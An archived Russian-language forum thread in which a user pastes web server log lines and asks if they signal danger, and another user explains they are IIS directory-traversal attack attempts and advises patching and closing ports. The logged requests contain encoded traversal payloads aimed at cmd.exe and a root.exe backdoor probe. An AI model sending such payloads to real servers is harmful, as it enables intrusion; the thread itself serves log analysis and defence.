Архив форумов ЦИТФорума

[Neosee]

А че могут означать строки в логах веб-сервера:
HEAD /PBServer/..%5c..%5c..%5cwinnt/system32/cmd.exe /c+dir+c:\ 404 -
HEAD /Rpc/..%5c..%5c..%5cwinnt/system32/cmd.exe /c+dir+c:\ 404 -
HEAD /_vti_bin/..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe /c+dir+c:\ 500 -
HEAD /winnt/system32/cmd.exe /c+dir+c:\ 404 -
/msadc/..рЂЂЇ../..рЂЂЇ../..рЂЂЇ../winnt/system32/cmd.exe /c+dir+c:\ 403 -
/scripts/..%5c../winnt/system32/cmd.exe /c+dir+c:\ 500 -
/scripts/root.exe /c+dir+c:\ 404 -

Не пора ли бить тревогу...
Заранее благодарен...

[ALEX_SE]

Попытка атаки через символы обхода каталога и скрипты IIS.
Рекомендую поставить соотв. патчи, и последнюю версию IIS. Ну и само собой закрыть лишние порты, а те что есть проверить на уязвимости той же Retina. Впрочем, судя по результатам запросов, у тебя там либо все неплохо настроено, либо не IIS